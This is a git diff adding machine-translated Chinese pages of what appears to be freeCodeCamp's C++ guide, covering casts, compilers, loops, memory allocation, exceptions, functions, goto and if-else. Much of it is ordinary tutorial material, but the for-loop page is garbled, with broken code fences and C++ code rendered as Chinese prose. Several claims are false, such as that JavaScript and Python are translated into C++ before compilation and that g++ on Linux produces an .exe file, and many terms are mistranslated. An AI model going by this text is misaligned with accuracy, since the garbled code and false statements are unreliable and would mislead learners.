+重新解释强制转换可能是所有C ++强制转换中最危险的，但如果使用正确，它可能是理想的。重新解释广播不会产生任何性能成本，因为它不会执行任何转换。它只是指示编译器将已转换的对象视为请求的类型。这也可能带来对齐问题，因此应谨慎使用，并且只有在已知并考虑副作用时才应使用。
+
+#### 关于C风格演员表的说明
+
+C ++支持使用C风格的强制转换，但不推荐使用它们。使用C样式转换将指示编译器首先执行静态转换_，如果静态转换_失败，则在其位置使用reinterpret\_cast。因此，C风格的演员阵容可能会产生不可预测的结果并带来意想不到的问题。
+
+## 例子
+
+```cpp
+#include <iostream> 
+ 
+ class MyClass { 
+ public: 
+    virtual ~MyClass() = default; 
+ 
+    void greet() { 
+        std::cout << "Hello World!" << std::endl; 
+    } 
+ }; 
+ 
+ class MyClassChild : public MyClass { 
+ }; 
+ 
+ void reinterpretCastTest(void *objectPtr) { 
+    // Let's assume we know objectPtr is of type MyClass * 
+    auto myClassObj = reinterpret_cast<MyClassChild *>(objectPtr); 
+    myClassObj->greet(); 
+ } 
+ 
+ void constCastTest(const MyClassChild &myClassChild) { 
+    auto nonConst = const_cast<MyClassChild &>(myClassChild); 
+    nonConst.greet(); 
+ } 
+ 
+ void dynamicCastTest(MyClass *myClass) { 
+    auto *child = dynamic_cast<MyClassChild *>(myClass); 
+    child->greet(); 
+ } 
+ 
+ void staticCastTest(float floatVal) { 
+    // Convert the float into an int. 
+    auto intVal = static_cast<int>(floatVal); 
+    std::cout << intVal << std::endl; 
+ } 
+ 
+ int main() { 
+    MyClassChild myClass; 
+    reinterpretCastTest(&myClass); 
+    constCastTest(myClass); 
+    dynamicCastTest(&myClass); 
+    staticCastTest(10.5); 
+ 
+    return 0; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/clean-code-guidelines/index.md b/client/src/guide/chinese/cplusplus/clean-code-guidelines/index.md
new file mode 100644
index 0000000000..6c415d4870
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/clean-code-guidelines/index.md
@@ -0,0 +1,109 @@
+---
+title: Clean Code Guidelines
+localeTitle: 清洁代码指南
+---
+# 清洁代码指南
+
+编码时，您遵循的编码风格非常重要。特别是当您与团队合作或计划分享您的团队时 码。 这些指南中的大部分都是标准的，可以应用于大多数编程语言，但是，这里有应用程序和 带有c ++代码的片段，因此您可以更轻松地熟悉它。 请记住，这些只是提高清晰度的建议，可以是个人偏好，所以请听取这些建议 考虑到但不要把他们带到信中。有时，破坏其中一些规则可以使代码更清晰。
+
+## 使用好的变量名称并发表评论
+
+确保你创建了一个好的变量名，例如，如果你正在创建一个游戏，避免使用变量“a”使用类似“p1”的东西来指代玩家1. [匈牙利符号](https://en.wikipedia.org/wiki/Hungarian_notation)通常是传播的，可以给你一些gidelines来声明变量。
+
+另外，请使用评论，我甚至不开玩笑，只是尝试阅读你没有评论的一些旧项目......现在想象成为别人甚至没有编码。
+
+## 全局变量
+
+全局变量可以很容易使用，只需很少的代码就可以看起来像一个很好的解决方案。但是，当代码变得越来越大时，就越难以知道它们何时被使用。
+
+您可以使用函数中声明的变量来代替使用全局变量，这些变量可以帮助您了解传递的值 并更快地识别错误。
+
+```cpp
+#include <iostream> 
+ using namespace std; 
+ 
+ // Global variables are declared outside functions 
+ int cucumber; // global variable "cucumber" 
+```
+
+## 使用goto，继续等。
+
+这是程序员之间的常见讨论，就像全局变量一样，这些类型的语句通常被认为是不好的做法。 他们被认为是坏的，因为他们导致[“spaguetti代码”](https://en.wikipedia.org/wiki/Spaghetti_code) 。当我们编程我们想要一个 线性流，当使用这些语句时，流被修改并导致“扭曲和纠结”的流动。
+
+Goto过去曾被用过，但是，如果函数被创建，那么就会引入那些结构化编程。 一般情况下，请避免使用goto，除非您确定它会使您的代码更清晰，更易于阅读。一个例子可能是在嵌套循环中使用它。
+
+break和continue的使用几乎相同。在开关中使用它们并尝试仅用于创建功能，因此您只有一个出口点。
+
+![IMG](https://imgs.xkcd.com/comics/goto.png)
+
+## 避免更改for循环内的控制变量
+
+通常有一些工作，看起来更清晰，更少混淆，例如。而循环。 做：
+
+```cpp
+int i=1; 
+ while (i <= 5) 
+ { 
+    if (i == 2) 
+        i = 4; 
+ 
+    ++i; 
+ } 
+```
+
+代替：
+
+```cpp
+for (int i = 1; i <= 5; i++) 
+ { 
+    if (i == 2) 
+    { 
+       i = 4; 
+    } 
+    // Do work 
+ } 
+```
+
+## 在顶部声明常量和类型
+
+它们通常在库之后声明，这使它们变得更加容易阅读。 对于局部变量，它发生相同，在顶部声明它们（其他人为了节省内存而尽可能晚地声明它们看到： [cplusplus.com](http://www.cplusplus.com/forum/general/33612/)
+
+## 最后只使用一个返回功能
+
+就像我们之前说过的那样，我们倾向于只进行一次进入和退出以使流程更清晰。
+
+## 即使在编写单行内容时也要使用花括号
+
+系统地制作它将帮助您更快地完成它，如果您希望将来更改代码，您将能够毫无后顾之忧地完成它。
+
+代替：
+
+```cpp
+for (int i = 1; i <= 5; i++) 
+    //CODE 
+```
+
+做：
+
+```cpp
+for (int i = 1; i <= 5; i++) 
+ { 
+    //CODE 
+ } 
+```
+
+## 其他建议
+
+*   #### 当您知道迭代次数时使用，而当您不知道迭代次数时使用。
+    
+*   #### 在适当的时候使用const，传递值/引用。这有助于节省内存。
+    
+*   ####在大写字母中写入const，以T开头的数据类型和小写的变量。
+    
+
+```cpp
+const int MAX= 100;             //Constant 
+ typedef int TVector[MAX];       //Data type 
+ TVector vector;                 //Vector 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/compilers/index.md b/client/src/guide/chinese/cplusplus/compilers/index.md
new file mode 100644
index 0000000000..2e72a2402e
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/compilers/index.md
@@ -0,0 +1,55 @@
+---
+title: C++ Compilers
+localeTitle: C ++编译器
+---
+# C ++编译器简介
+
+为了开始使用C ++，您需要了解一些编译器以及C ++如何在您的计算机上运行。
+
+完成所有工作后，计算机只能理解一种语言，机器语言。机器语言完全由 二进制位，或0和1。虽然可以用二进制编程，但这将是非常繁琐和耗时的。 因此，我们人类开发了编程语言，以便更容易地开发软件。汇编语言是机器的直接1对1 语言。 C，C ++和COBOL等语言略高，需要编译。它甚至更高。语言 像JavaScript和Python一样，组件在编译之前会被翻译成C ++或其他低级语言， 有效地使它们成为比C或C ++更“高”的语言。 因为计算机体系结构由电子开关和电缆组成，只能使用二进制1和0， 您需要一个编译器将您的代码从高级C ++转换为CPU可以理解的机器语言。
+
+编译器是实用程序，它将您的代码转换为可执行的机器代码文件。运行编译器时 在您的代码上，首先，预处理器读取源代码（您刚刚编写的C ++文件）。预处理器搜索任何 预处理程序指令（以＃开头的代码行）。预处理程序指令导致 预处理器以某种方式更改代码（通常添加一些库或另一个C ++文件）。 接下来，编译器逐行处理预处理代码 每行进入相应的机器语言指令。这也将揭示您的任何语法错误 源代码并将向命令行抛出错误。最后，如果没有错误，编译器会创建一个对象 具有在您的机器上运行所必需的机器语言二进制文件。而编译器刚刚创建的目标文件 可能足以在您的计算机上执行某些操作，它仍然不是您的C ++程序的可执行文件。有一个决赛 达到可执行程序的重要一步。
+
+C ++包含一个庞大的库，可以帮助执行I / O和硬件操作等困难任务。你可以包括这些 具有预处理程序指令的库，但预处理程序不会自动将它们添加到您的代码中。为了你有 最终的可执行程序，另一个称为链接器的实用程序必须将目标文件与库函数组合在一起 运行代码所必需的。把它想象成拥有所有必要的块 盖房子。编译器创建了所有块，但链接器是将它们全部组合在一起以最终创建一个房屋的链接器。 完成后，您现在拥有一个正常运行的可执行文件！
+
+## 如何编译文件
+
+假设您有一个名为`helloWorld.cpp`的C ++文件...
+
+### 如果你在Windows上 -
+
+#### 使用和CodeBlocks一样的IDE
+
+它就像单击构建和运行按钮一样简单，它们将在项目文件夹中创建一个文件。 ![IMG](https://i.imgur.com/FwZuFGy.png)
+
+#### 使用命令提示符
+
+1.  打开开发人员命令提示符 - 对于此步骤，您需要安装Microsoft Visual Studio或其他IDE 使您能够从命令行编译您的程序。您还可以在线搜索C ++编译器。
+    
+2.  直接导航到源代码
+    
+3.  在源代码上运行编译器（假设您使用的是Microsoft Visual Studio编译器） `cl /EHsc helloWorld.cpp`
+    
+
+现在，这将创建一个目标文件并自动为您链接。如果你查看同一个文件夹，你会看到一个 hellWorld.exe可执行文件（注意exe扩展名）现在存在。
+
+4.  在提示符下键入`helloWorld`以运行可执行文件
+
+或者，许多IDE允许快速构建和查看您的程序。这可能比你的版本更容易 Windows可能不会预先与编译器实用程序打包在一起。
+
+### 如果您使用的是Linux或OSX -
+
+1.  打开终端窗口并导航到源代码目录
+2.  在源代码上运行编译器 `g++ helloWorld.cpp -o helloWorld`
+
+这将创建一个目标文件并自动为您链接。查看该文件夹，您将看到一个helloWorld.exe 可执行文件（注意exe扩展名）。
+
+3.  在终端窗口中键入`./helloWorld`以运行可执行文件
+
+g ++是标准的Linux编译器，是一个很棒的实用程序。它随操作系统一起提供。
+
+注意： 直接编译和执行代码，运行 `g++ -o helloWorld helloWorld.cpp; ./helloWorld` 所以当你需要多次编译和运行你的代码时， 向上箭头输入
+
+* * *
+
+有许多不同类型的编译器。列出的两个是通常与Windows一起打包的两个 或Linux / OSX。
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/conditional-operator/index.md b/client/src/guide/chinese/cplusplus/conditional-operator/index.md
new file mode 100644
index 0000000000..b80d619a70
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/conditional-operator/index.md
@@ -0,0 +1,44 @@
+---
+title: Conditional Operator
+localeTitle: 条件运算符
+---
+## 条件运算符
+
+条件运算符是三元运算符，它需要3个操作数。 它根据表达式的结果返回两个值中的一个 条件运算符用于替换简单的if-else语句。
+
+句法 ：
+
+```cpp
+  (condition)?(expression-1):(expression-2); 
+```
+
+这里，当条件为真时评估表达式-1，当条件为假时评估表达式-2。 类似的if-else语句将是：
+
+```cpp
+if(condition) 
+  { 
+    expression-1; 
+  } 
+ else 
+  { 
+    expression-2; 
+  } 
+```
+
+因此，当您需要编写简单的if-else语句时，条件运算符非常方便。它也可以在#define中使用 当在多个地方使用类似条件时的预处理器。
+
+例如，要查找最多两个数字条件运算符，可以使用如下：
+
+```cpp
+#define big(a,b) (a>=b)?a:b 
+ 
+ int maximum,x=5,y=6; // variable to store maximum of two numbers 
+ maximum=(x>y)?x:y; // directly using conditional operator 
+ maximum=big(x,y); // using the #define preprocessor defined above as big 
+```
+
+**祝大家好运**
+
+**快乐的编码！ :)**
+
+**随意在FreeCodeCamp的GitHub页面或[FreeCodeCamp的论坛](https://forum.freecodecamp.org/)上询问任何问题[。](https://forum.freecodecamp.org/)**
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/do-while-loop/index.md b/client/src/guide/chinese/cplusplus/do-while-loop/index.md
new file mode 100644
index 0000000000..787fa560b0
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/do-while-loop/index.md
@@ -0,0 +1,43 @@
+---
+title: do while loop
+localeTitle: 做循环
+---
+## 做循环
+
+`do while loop`几乎与while循环相同。 `do while loop`具有以下形式：
+
+```cpp
+do 
+ { 
+  // do something; 
+ } while(expression); 
+```
+
+注意：请记住使用分号';'在条件结束时。
+
+## 有关do-while循环的详细信息
+
+只要您确定必须至少执行一次特定进程（在循环内），就会使用do-while循环。它具有许多优点，例如不初始化检查变量（例如，char addmore ='Y'）等。在结束时分号是必须的。
+
+先做一些事情，然后测试我们是否必须继续。结果是do块至少运行一次。 （因为表达测试后来）。看一个例子：
+
+```cpp
+#include <iostream> 
+    using namespace std; 
+ 
+    int main() 
+    { 
+        int counter, howmuch; 
+ 
+        cin >> howmuch; 
+        counter = 0; 
+        do 
+        { 
+            counter++; 
+            cout << counter << '\n'; 
+        } 
+        while ( counter < howmuch); 
+        return 0; 
+    } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/dynamic-memory-allocation/index.md b/client/src/guide/chinese/cplusplus/dynamic-memory-allocation/index.md
new file mode 100644
index 0000000000..3bf29f3e4d
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/dynamic-memory-allocation/index.md
@@ -0,0 +1,40 @@
+---
+title: Dynamic Memory Allocation
+localeTitle: 动态内存分配
+---
+## C ++中的动态内存分配
+
+### 什么是C ++中的动态内存分配？
+
+*   C ++中的**内存分配**是指**分配**给整个程序中使用的变量的内存。
+*   **动态内存分配**是在运行时**分配**给变量的内存，所需的内存量也在运行时决定。
+*   这个内存来自**堆** ，而非_静态_变量和_局部_变量从**堆栈中**获取内存。
+*   在C ++中，程序员可以手动执行内存分配，并称为**_动态内存分配_** 。
+*   在C中可以通过使用_calloc_和_malloc_函数来分配内存并使用_自由_函数来_解除_动态内存的分配来进行动态内存分配。
+*   在C ++中，除了上述之外，还有两个函数， _new_和_delete，_用于执行动态内存分配和解除分配。
+
+### 新运营商
+
+*   `new`运算符可以从堆中授予程序员内存（如果可用）。如果程序员请求的存储器可用，则`new`运算符初始化存储器，然后返回分配的存储器的地址（引用）。
+*   **句法**  
+    `pointer-variable-type` = **new** `data-type;`  
+    示例1： `int *ptr` = **new** `int;`  
+    例2： `int *ptr2` = **new** `int[10];`  
+    这里， `pointer-variable-type`是`data type`的**指针** 。 `data-type`可以是int，char等，也可以是用户定义的数据类型。
+
+### DELETE运算符
+
+*   程序员有责任解除分配动态分配的内存，否则在程序结束之前内存将无法重新分配。
+    
+*   要取消分配内存， `delete`操作符可用，程序员可以使用。
+    
+*   **句法**  
+    **delete** `pointer-type-variable;`  
+    例如，要释放上面示例1中分配的内存，我们键入：  
+    `delete ptr;`  
+    类似地，例如2，可以通过以下方式释放内存：  
+    `delete ptr2` ;
+    
+    ### 内存泄漏
+    
+    当您无法释放在程序结束时通过`New`运算符分配的动态内存时，会导致泄漏。如果不使用Delete运算符取消分配，则每次程序运行时，计算机都将继续在堆中创建新内存。这会导致计算机速度变慢，因为内存未被删除且可用内存减少。
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/erase-remove/index.md b/client/src/guide/chinese/cplusplus/erase-remove/index.md
new file mode 100644
index 0000000000..acf8c54514
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/erase-remove/index.md
@@ -0,0 +1,88 @@
+---
+title: Erase–remove idiom
+localeTitle: 删除成语
+---
+## Desctiprion
+
+如何从容器中删除元素是一个常见的C ++面试问题，如果您仔细阅读本页，您可以获得一些布朗尼点数。擦除 - 移除习语是一种C ++技术，用于从容器中消除满足特定标准的元素。但是，有可能用传统的手写循环来消除元素，但擦除 - 删除习语有几个优点。
+
+### 对照
+
+```cpp
+// Using a hand-written loop 
+ std::vector<int> v = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; 
+ for (auto iter = v.cbegin(); iter < v.cend(); /*iter++*/) 
+ { 
+    if (is_odd(*iter)) 
+    { 
+        iter = v.erase(iter); 
+    } 
+    else 
+    { 
+        ++iter; 
+    } 
+ } 
+ 
+ // Using the erase–remove idiom 
+ std::vector<int> v = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; 
+ v.erase(std::remove_if(v.begin(), v.end(), is_odd), v.end()); 
+```
+
+正如您所看到的，带有手写循环的代码需要更多的输入，但它也存在性能问题。每个`erase`调用必须在删除后删除所有元素，以避免集合中的“间隙”。在同一容器上多次调用`erase`产生大量移动元素的开销。
+
+另一方面，具有擦除 - 删除习语的代码不仅更具表现力，而且更有效。首先，使用`remove_if/remove`将所有不符合删除条件的元素移动到范围的前面，保持元素的相对顺序。因此，在调用`remove_if/remove` ，单次调用`erase`会删除范围末尾的所有剩余元素。
+
+### 例
+
+```cpp
+#include <vector> // the general-purpose vector container 
+ #include <iostream> // cout 
+ #include <algorithm> // remove and remove_if 
+ 
+ bool is_odd(int i) 
+ { 
+    return (i % 2) != 0; 
+ } 
+ 
+ void print(const std::vector<int> &vec) 
+ { 
+    for (const auto& i : vec) 
+        std::cout << i << ' '; 
+    std::cout << std::endl; 
+ } 
+ 
+ int main() 
+ { 
+    // initializes a vector that holds the numbers from 1-10. 
+    std::vector<int> v = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; 
+    print(v); 
+ 
+    // removes all elements with the value 5 
+    v.erase(std::remove(v.begin(), v.end(), 5), v.end()); 
+    print(v); 
+ 
+    // removes all odd numbers 
+    v.erase(std::remove_if(v.begin(), v.end(), is_odd), v.end()); 
+    print(v); 
+ 
+    // removes multiples of 4 using lambda 
+    v.erase(std::remove_if(v.begin(), v.end(), [](int n) { return (n % 4) == 0; }), v.end()); 
+    print(v); 
+ 
+    return 0; 
+ } 
+ 
+ /* 
+ Output: 
+ 1 2 3 4 5 6 7 8 9 10 
+ 1 2 3 4 6 7 8 9 10 
+ 2 4 6 8 10 
+ 2 6 10 
+ */ 
+```
+
+### 来源
+
+“删除成语”维基百科：自由百科全书。 Wikimedia Foundation， [Inc。en.wikipedia.org/wiki/Erase-remove\_idiom](https://en.wikipedia.org/wiki/Erase%E2%80%93remove_idiom)
+
+迈耶斯，斯科特（2001年）。有效的STL：50种改进标准模板库使用的具体方法。 Addison-Wesley出版社。
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/error handling/index.md b/client/src/guide/chinese/cplusplus/error handling/index.md
new file mode 100644
index 0000000000..2dc1ca1e7b
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/error handling/index.md	
@@ -0,0 +1,49 @@
+---
+title: Error Handling
+localeTitle: 错误处理
+---
+# C ++异常处理
+
+例外是在执行程序期间出现的问题。例外提供了一种将控制从程序的一个部分转移到另一个部分的方法。 C ++异常处理基于三个关键字：＃try，#catch和#throw。
+
+*   # throw - 当问题出现时，程序会抛出异常。这是使用throw关键字完成的。
+    
+*   # catch - 程序在您要处理问题的程序中的位置捕获异常处理程序的异常。 catch关键字表示捕获异常。
+    
+*   #try - try块标识将激活特定异常的代码块。接下来是一个或多个catch块。
+    
+
+```CPP
+#include <iostream> 
+ using namespace std; 
+ 
+ int main() 
+ { 
+   int x = -1; 
+ 
+   // Some code 
+   cout << "Before try \n"; 
+   try { 
+      cout << "Inside try \n"; 
+      if (x < 0) 
+      { 
+         throw x; 
+         cout << "After throw (Never executed) \n"; 
+      } 
+   } 
+   catch (int x ) { 
+      cout << "Exception Caught \n"; 
+   } 
+ 
+   cout << "After catch (Will be executed) \n"; 
+   return 0; 
+ } 
+```
+
+# 在你继续之前......
+
+## 回顾
+
+*   错误类型的分组。
+*   从正常代码中分离错误处理代码。
+*   函数/方法可以处理他们选择的任何异常。
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/for-loop/index.md b/client/src/guide/chinese/cplusplus/for-loop/index.md
new file mode 100644
index 0000000000..01ffe9ca67
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/for-loop/index.md
@@ -0,0 +1,91 @@
+---
+title: For Loop
+localeTitle: 对于循环
+---
+For循环是一个重复语句，用于检查某些条件，然后根据条件重复执行代码块，直到满足指定条件。
+
+for循环通过显式循环计数器或循环变量区别于其他循环语句，循环变量允许循环体知道每次迭代的精确排序。
+
+因此，for循环是一种重复控制结构，允许您有效地编写需要执行特定次数的循环。
+
+## 句法
+```
+for ( init; condition; increment ) { 
+   statement(s); 
+ } 
+```
+
+允许将增量放在for循环中，就像在while循环中一样。这意味着这样的语法也可以。
+```
+for ( init; condition;) { 
+   statement(s); 
+   increment; 
+ } 
+```
+
+### 在里面
+
+此步骤允许您声明和初始化任何循环控制变量。此步骤首先执行且仅执行一次。
+
+### 条件
+
+接下来评估条件。如果它成立，则执行循环体。如果它保持为false，则循环体不执行，控制流跳转到下一次迭代（重复进程）。
+
+### 更新
+
+update语句用于通过使用加法，减法，乘法或除法等简单操作来更改循环变量。 update语句在执行循环体之后执行。
+
+## 实现：
+
+```C++
+#include <iostream> 
+ using namespace std; // Here we use the scope resolution operator to define the scope of the standar functions as std:: 
+ 
+ int main () { 
+   // for loop execution 
+   for( int a = 10; a < 20; a = a + 1 ) { // The loop will run till the value of a is less than 20 
+      cout << "value of a: " << a << endl; 
+   } 
+ 
+   return 0; 
+ }``` 
+ 
+ Output: 
+ value of a: 10 
+ value of a: 11 
+ value of a: 12 
+ value of a: 13 
+ value of a: 14 
+ value of a: 15 
+ value of a: 16 
+ value of a: 17 
+ value of a: 18 
+ value of a: 19 
+ 
+ ##Single lined loop 
+ The body of the for loop need not be enclosed in braces if the loop iterates over only one satatement. 
+ ##Example 
+```
+
+C ++ ＃包括 使用命名空间std;
+
+int main（）{ //单行for循环 for（int a = 10; a <20; a = a + 1） cout <<“a的价值：”<< a << endl;
+
+返回0; }\`\`\`
+
+这将生成与前一个程序相同的输出。 即 输出： 价值：10 价值：11 价值：12 价值a：13 a的值：14 价值a：15 价值：16 价值：17 价值：18 价值：19
+```
+## Explanation 
+ Here's the initialization condition is first set to a=10. The loop first checks for this condition. It then checks for the condition expression ie a<20 which holds true as 10<20(for the first case). Now the body of the loop is executed and we get the output "Value of a: 10". Then the update expression is executed which adds the number 1 to 'a' and the value of 'a' gets updated to 11 and the same steps are followed (as above) until the value of v reaches less than 20 ie 19. 
+ 
+ # Range-based for-loop 
+ C++ also has what we call range-based for loops which iterates through all the elements of a container(eg array). 
+ 
+ ## Syntax 
+```
+
+for（element：container） 声明（S）; }
+
+int \[5\] array = {1,2,3,4,5} for（int i：array） cout << i << endl; }
+
+输出： 1 2 3 4 五 \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/functions/index.md b/client/src/guide/chinese/cplusplus/functions/index.md
new file mode 100644
index 0000000000..5442dc57a8
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/functions/index.md
@@ -0,0 +1,59 @@
+---
+title: Functions in C++
+localeTitle: C ++中的函数
+---
+## 定义：
+
+函数是一组一起执行任务的语句。每个C ++程序至少有一个函数，即main（）。
+
+函数声明告诉编译器函数的名称，返回类型和参数。函数定义提供函数的实际主体。
+
+## C ++函数定义的一般形式：
+
+```cpp
+return_type function_name( parameter list ) 
+ { 
+   body of the function 
+ } 
+```
+
+### 返回类型：
+
+函数可以返回值。返回_类型是函数返回的值的数据类型。某些函数执行所需的操作而不返回值。在这种情况下，返回_类型是关键字void。
+
+### 功能名称：
+
+这是函数的实际名称。函数名称和参数列表一起构成函数签名。
+
+### 参数：
+
+参数类似于占位符。调用函数时，将值传递给参数。该值称为实际参数或参数。参数列表是指函数参数的类型，顺序和数量。参数是可选的;也就是说，函数可能不包含任何参数。
+
+### 功能体：
+
+函数体包含一组语句，用于定义函数的功能。
+
+## 例：
+
+```cpp
+int max(int num1, int num2) 
+ { 
+   // local variable declaration 
+   int result; 
+ 
+   if (num1 > num2) 
+      result = num1; 
+   else 
+      result = num2; 
+ 
+   return result; 
+ } 
+```
+
+## 功能为何重要？
+
+函数支持模块化（将工作分解为称为模块的较小部分），这是OOP的一个基本特征，它主要将C ++与C分离。 具有执行特定任务的特定功能可消除混淆并缩短主要功能的长度。 该函数还执行代码的可重用性。因此，下次您必须在同一程序中再次计算两个不同数字的最大值时，您无需复制和粘贴代码。你只需要调用该函数，它就可以完成其余的工作。
+
+## 更多信息
+
+*   [TutorialsPoint](https://www.tutorialspoint.com/cplusplus/cpp_functions.htm)
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/goto/index.md b/client/src/guide/chinese/cplusplus/goto/index.md
new file mode 100644
index 0000000000..3ab5a8f20e
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/goto/index.md
@@ -0,0 +1,27 @@
+---
+title: goto as a powerful utility
+localeTitle: 转到一个强大的实用程序
+---
+# 介绍goto和标签的使用
+
+goto是c ++中最强大但被高度低估的逻辑之一。如果正确使用goto，可以使用goto实现疯狂的优化量。 它确实如此命名。它涉及到下一个标签的提及，无论它在哪里。
+
+# 术语
+```
+goto - The keyword used to go to the particular label. 
+ label - this can be named anything. 
+```
+
+# 句法
+
+跳转;
+
+（没有<>）;
+
+//这会将exe带到标签的下一个外观。
+
+goto是超越所有循环的东西。在这一点上更清楚，这是一个例子。
+
+https://code.sololearn.com/cI4qqQA8W2q3
+
+但是，必须非常谨慎地使用goto，特别是在编码的早期阶段，因为它可能导致疯狂的问题，如果不能很好地理解的话。
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/if-else-statement/index.md b/client/src/guide/chinese/cplusplus/if-else-statement/index.md
new file mode 100644
index 0000000000..bcae488cb9
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/if-else-statement/index.md
@@ -0,0 +1,192 @@
+---
+title: If-Else Statement
+localeTitle: If-Else声明
+---
## If-Else声明有什么作用？
+
+*   If-Else语句是简单If语句的扩展。
+*   在简单的If语句中，如果测试表达式的值为false，那么我们跳过块的代码并继续我们的下一个语句。
+*   但很多时候，如果test表达式的值为false，我们希望执行某些步骤。
+*   在这种情况下，我们使用if-else语句。
+
+### If-Else声明的一般形式
+
+```cpp
+if (test expression) 
+ { 
+  //statements that run if the test expression is true 
+ } 
+ else 
+ { 
+  //statements that run if the test expression is false 
+ } 
+```
+
+### If-Else语句的示例
+
+如果test表达式为true：
+
+```cpp
+int a=10; 
+ if (a < 20) // This expression is true, so... 
+ { 
+  //...the code in this block gets executed, and... 
+ } 
+ else 
+ { 
+  //...the code in this block gets skipped. 
+ } 
+ //program continues 
+```
+
+如果test表达式为false：
+
+```cpp
+int a=10; 
+ if (a>20) // This expression is false, so this time... 
+ { 
+  //...this code gets skipped... 
+ } 
+ else 
+ { 
+  //...and this code executes instead. 
+ } 
+ //program continues 
+```
+
+### C ++中的示例：
+
+```cpp
+//Program to check whether number entered by user is positive or negative 
+ #include <iostream> 
+ using namespace std; 
+ int main() 
+ { 
+  int no; 
+  cout << "Enter a number: " << endl; 
+ 
+  cin >> no; 
+ 
+  // condition to check if number is positive or negative 
+  if (no >= 0) // positive 
+  { 
+    // block if value is true 
+    cout << "You entered a positive number: " << no << endl; 
+  } 
+  else         // negative 
+  { 
+    // block if value is false 
+    cout << "You entered a negative number: " << no << endl; 
+  } 
+ 
+  // program continues 
+  cout << "This step is always printed" << endl; 
+  return 0; 
+ } 
+```
+
+#### 产量
+
+*   输入正数时：
+```
+Enter a number: 
+ 4 
+ You entered a positive number: 4 
+ This step is always printed 
+```
+
+*   输入负数时：
+```
+Enter a number: 
+ -200 
+ You entered a negative number: -200 
+ This step is always printed 
+```
+
+[亲自尝试一下代码](https://repl.it/MzBq)
+
+# **随意在FreeCodeCamp的GitHub页面或[FreeCodeCamp的论坛](https://forum.freecodecamp.org/)上询问任何问题[。](https://forum.freecodecamp.org/)**
+
+[亲自尝试一下代码](https://repl.it/MzBq)
+
+### 使用if ... else if ... else梯形图
+
+如果我们必须使用if else基于多个条件做出决策。如果条件如下，我们使用其他 -
+
+```cpp
+#include<iostream> 
+ int main() 
+ { 
+    int score; 
+    std::cout<<"Enter your score: \n"; 
+    std::cin>>score; 
+    if(score>=90) 
+        std::cout<<"Top performance."; 
+    else if(score<90 && score>=70) 
+        std::cout<<"Good performance"; 
+    else if(score<70 && score>=45) 
+        std::cout<<"Average performance"; 
+    else if(score<45 && score>=30) 
+        std::cout<<"You can improve it."; 
+   return 0; 
+ } 
+```
+
+#### 产量
+```
+Enter your score: 
+ 85 
+ Good performance 
+```
+
+### if ... else if ... else ladder的另一个例子
+
+假设我们有用户输入两个数字，我们将显示两个数字是否大于另一个数字。如果两者都不大于另一个，那么我们打印声明“两者都是平等的”。
+
+在这个scinerio中，我们需要一个if ... else if ... else梯形图。该程序将如下所示：
+```
+#include<iostream> 
+ using namespace std; 
+ int main() 
+ { 
+    int number1,number2; 
+    cout << "Enter first number: \n"; 
+    cin >> number1; 
+    cout << "Enter second number: \n"; 
+    cin >> number2; 
+ 
+    if(number1 > number2)     // Checks if the first number is greater than the second number 
+    { 
+        cout << "Number 1 is greater."; 
+    } 
+    else if(number2 > number1)    // Checks if the second number is greater than the first number 
+    { 
+        cout << "Number 2 is greater."; 
+    } 
+    else    // If both of the above cases return false, then both numbers are equal 
+    { 
+        cout << "Both the numbers are equal."; 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+#### 产量
+```
+Enter first number: 
+ 85 
+ Enter second number: 
+ 86 
+ Number 2 is greater. 
+```
+
+*   请注意，只有在不满足初始“if”条件时，程序才会检查“else if”条件。如果这些条件都不满足，则执行最后一个'else'块，打印语句：“两个数字相等。”。
+    
+*   if ... else if ... else梯形图的大小可能会有所不同，具体取决于程序试图解决的问题以及需要检查的条件数。
+    
+
+**祝大家好运**
+
+**快乐的编码！ :)**
+
+**欢迎在freeCodeCamp.org的GitHub页面或[freeCodeCamp.org论坛](https://forum.freecodecamp.org/)上询问任何问题** 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/index.md b/client/src/guide/chinese/cplusplus/index.md
new file mode 100644
index 0000000000..d0b2692deb
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/index.md
@@ -0,0 +1,103 @@
+---
+title: C++
+localeTitle: C ++
+---
# 你好，世界！ - 您的第一个C ++程序
+
+## 什么是C ++？
+
+*   C ++是一种通用编程语言，自1990年代开始使用
+    
+*   它由Bjarne Stroustrup设计，名称为“C with classes”。
+    
+*   它是C的一个版本，包括面向对象的元素，包括类和函数。
+    
+*   它被认为是最大的编程语言之一，如下图所示： ![图](http://static1.businessinsider.com/image/59deb30392406c21008b6148-1200/for-bonus-points-heres-the-chart-showing-these-languages-relative-popularity.jpg) _来源：Github_
+    
+
+### 您在C ++中的第一个程序
+
+```cpp
+#include <iostream> 
+ using namespace std; 
+ int main() 
+ { 
+    cout << "Hello World" << endl; 
+    return 0; 
+ } 
+```
+
+#### 该程序的输出将简单地是：
+```
+Hello World! 
+```
+
+现在，让我们分解代码：
+
+#### 第1行和第2行
+
